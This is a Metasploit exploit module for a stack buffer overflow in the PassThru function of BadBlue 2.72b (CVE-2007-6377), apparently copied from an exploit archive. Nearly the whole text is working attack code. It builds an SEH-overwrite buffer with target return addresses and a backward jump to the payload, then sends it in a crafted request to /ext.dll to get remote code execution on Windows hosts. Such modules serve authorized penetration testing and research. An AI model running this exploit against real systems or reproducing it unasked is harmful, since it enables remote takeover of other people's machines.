BadBlue 2.72b – PassThru Buffer Overflow (Metasploit)
## # $Id: badblue_passthru.rb 9744 2010-07-08 23:34:50Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'. # However, a proper Server header is returned when requesting /index.html or using HEAD. HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BadBlue 2.72b PassThru Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the PassThru functionality in ext.dll in BadBlue 2.72b and earlier. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9744 $', 'References' => [ ['CVE', '2007-6377'], ['OSVDB', '42416'], ['BID', '26803'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c", 'StackAdjustment' => -3500, #'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ # This is the version being distributed on badblue.com as of Jul 7th 2010 [ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2) [ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ] # pop/pop/ret from ?? ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 10 2007')) end def exploit seh_offset = 4116 sploit = Rex::Text.pattern_create(seh_offset) # Need to jump over the nul byte seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V') sploit << seh plen = payload.encoded.length sploit[seh_offset - 16 - plen, plen] = payload.encoded # This pointer will force a crash when it is used in a lock instruction ptr = rand_text(3) ptr << [0x80|rand(256)].pack('C') sploit[seh_offset - 8,4] = ptr # These two bytes get corrupted, so we can't use them. sploit << rand_text(2) # jump back to the payload distance = 2 + 8 + 16 + plen sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string # Build the final URI uri = "/ext.dll?mfcisapicommand=PassThru&" uri << sploit print_status("Trying target %s..." % target.name) send_request_raw({ 'uri' => uri }, 5) handler disconnect end end |